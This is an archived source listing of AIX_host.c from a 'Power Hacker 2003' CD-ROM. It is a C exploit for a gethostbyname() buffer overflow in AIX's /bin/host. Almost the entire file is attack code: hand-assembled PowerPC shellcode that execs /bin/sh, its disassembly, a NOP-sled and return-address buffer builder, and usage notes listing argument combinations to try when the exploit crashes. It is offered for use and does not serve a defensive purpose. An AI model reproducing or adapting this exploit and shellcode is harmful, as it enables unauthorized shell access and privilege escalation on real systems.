home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / AIX_host.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  5KB  |  154 lines

  1. /*
  2. AIX 4.1 ,4.?, 3.? gethostbyname() and /bin/host exploit.
  3. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  4. If the program gives you 'Segmentation fault' or 'Illegal instruction',
  5. then try at least the following arguments:(string
  6. length,offset,kludge1,kludge2)
  7. 78 40 1 1
  8. 78 40 1 0
  9. 78 40 0 0
  10. 78 40 0 1
  11. If you get coredump, examine the registers.
  12. The higher 16 bits of TOC and IAR(CTR) should be the values,
  13. printed by the program (the address of execv() ). The last two arguments
  14. are added to correct some difference (because of carry?,cache? ???).
  15. Sorry for the lame coding.
  16.  
  17.        Compile with: cc -g test.c
  18.        try:
  19.        ./a.out 78 40 1 1
  20.        ./a.out 78 40 0 0
  21.        ./a.out 78 40 0 1
  22.        ./a.out 78 40 0 0
  23. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  24. */
  25.  
  26.        #include <stdio.h>
  27.        #include <stdlib.h>
  28.  
  29.        /*Used only for disassembling*/
  30.        void sh2()
  31.        {
  32.        int junk[0x100];
  33.        int s[2];
  34.  
  35.        int toc;
  36.        int ctr;
  37.  
  38.        junk[0x100]=0x11;
  39.  
  40.        toc=0xf0192c48;
  41.        ctr=0xd0024c0c;
  42.  
  43.        s[0]=0x2f62696e;
  44.        s[1]=0x2f736800;
  45.        execv(&s,0);
  46.        }
  47.        /*Used for testing*/
  48.        void buggy(char *s)
  49.        {
  50.        char a[4];
  51.        unsigned int junk[150];
  52.        strcpy(a,s);
  53.        puts("Over");
  54.        if(junk[20])
  55.         puts("P");
  56.        }
  57.        /*The program*/
  58.        main(int argc,char **argv)
  59.        {
  60.        unsigned int junk[300];
  61.        /*The code*/
  62.        unsigned int code[]={
  63.        0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  64.        0x30632c48 , 0x90610440 , 0x3c60d002 , 0x30634c0c ,
  65.        0x90610444 , 0x3c602f62 , 0x3063696e , 0x90610438 ,
  66.        0x3c602f73 , 0x30636801 , 0x3863ffff , 0x9061043c ,
  67.        0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  68.        0x7c0903a6 , 0x4e800420, 0x0
  69.        };
  70.        /* disassembly
  71.        7c0802a6        mfspr   r0,LR
  72.        9421fbb0        stu     SP,-1104(SP) --get some stack
  73.        90010458        st      r0,1112(SP)
  74.        3c60f019        cau     r3,r0,0xf019 --CTR changed at runtime
  75.        30632c48        ai      r3,r3,11336  --CTR changed at runtime should be
  76.        kludged
  77.        90610440        st      r3,1088(SP)
  78.        3c60d002        cau     r3,r0,0xd002 --TOC changed at runtime
  79.        30634c0c        ai      r3,r3,19468  --TOC changed at runtime should be
  80.        kludged
  81.        90610444        st      r3,1092(SP)
  82.        3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
  83.        3063696e        ai      r3,r3,26990
  84.        90610438        st      r3,1080(SP)
  85.        3c602f73        cau     r3,r0,0x2f73
  86.        30636801        ai      r3,r3,26625
  87.        3863ffff        addi    r3,r3,-1
  88.        9061043c        st      r3,1084(SP) --terminate /bin/sh with 0
  89.        30610438        ai      r3,SP,1080
  90.        7c842278        xor     r4,r4,r4    --argv=NULL
  91.        80410440        lwz     RTOC,1088(SP) --prepare to jump
  92.        80010444        lwz     r0,1092(SP) --jump
  93.        7c0903a6        mtspr   CTR,r0
  94.        4e800420        bctr              --jump
  95.        */
  96.  
  97.        unsigned int buf[600];
  98.        unsigned int i,nop,mn;
  99.        int max;
  100.  
  101.        unsigned int toc;
  102.        unsigned int eco;
  103.        unsigned int *pt;
  104.        int carry1=1;
  105.        int carry2=1;
  106.  
  107.        pt=(unsigned *) &execv;
  108.        toc=*(pt+1);
  109.        eco=*pt;
  110.        if (argv[3]) carry1=atoi(argv[3]);
  111.        if (argv[4]) carry2=atoi(argv[4]);
  112.        max=atoi(argv[1]);
  113.        if(max==0) max=78;
  114.        mn=40;
  115.        if(argv[2])
  116.                mn=atoi(argv[2]);
  117.        *((unsigned short *)code +9)=(unsigned short) (toc & 0x0000ffff);
  118.        *((unsigned short *)code +7)=carry1+(unsigned short) ((toc >> 16) &
  119.        0x0000ffff);
  120.        /*              1+ because of CARRYFLAG? CACHE?*/
  121.        *((unsigned short *)code +15)=(unsigned short) (eco & 0x0000ffff);
  122.        *((unsigned short *)code +13)=carry2+(unsigned short) ((eco >> 16) &
  123.        0x0000ffff);
  124.  
  125.        puts("Test AIX!");
  126.        puts("Discovered and coded by G.G.");
  127.        printf("TOC:%0x,CTR:%0x\n",toc,eco);
  128.        junk[50]=1;
  129.        for(nop=0;nop<mn;nop++)
  130.         buf[nop]=0x4ffffb82;/*nop*/
  131.        strcpy((char*)&buf[nop],(char*)&code);
  132.        i=nop+strlen(code)/4-1;
  133.        while(i++<max)
  134.        {
  135.         buf[i]=(unsigned) &buf[nop];
  136.        }
  137.        buf[i]=0;
  138.  
  139.        for(i=0;i<nop;i++)
  140.         buf[i]=(unsigned)&buf[nop];
  141.  
  142.        /**?????????????????***/
  143.  
  144.        for(i=0;i<300;i++) junk[i]=(unsigned)&buf[nop];
  145.  
  146.        puts("Start...");/*Here we go*/
  147.        i=execl("/bin/host","host",(char*)&buf,0);
  148.  
  149.        puts((char*)buf);
  150.        printf("%p\n",&buf[nop]);
  151.        if (!junk[50]) puts("s");
  152.        printf("OK\n");
  153.        }
  154.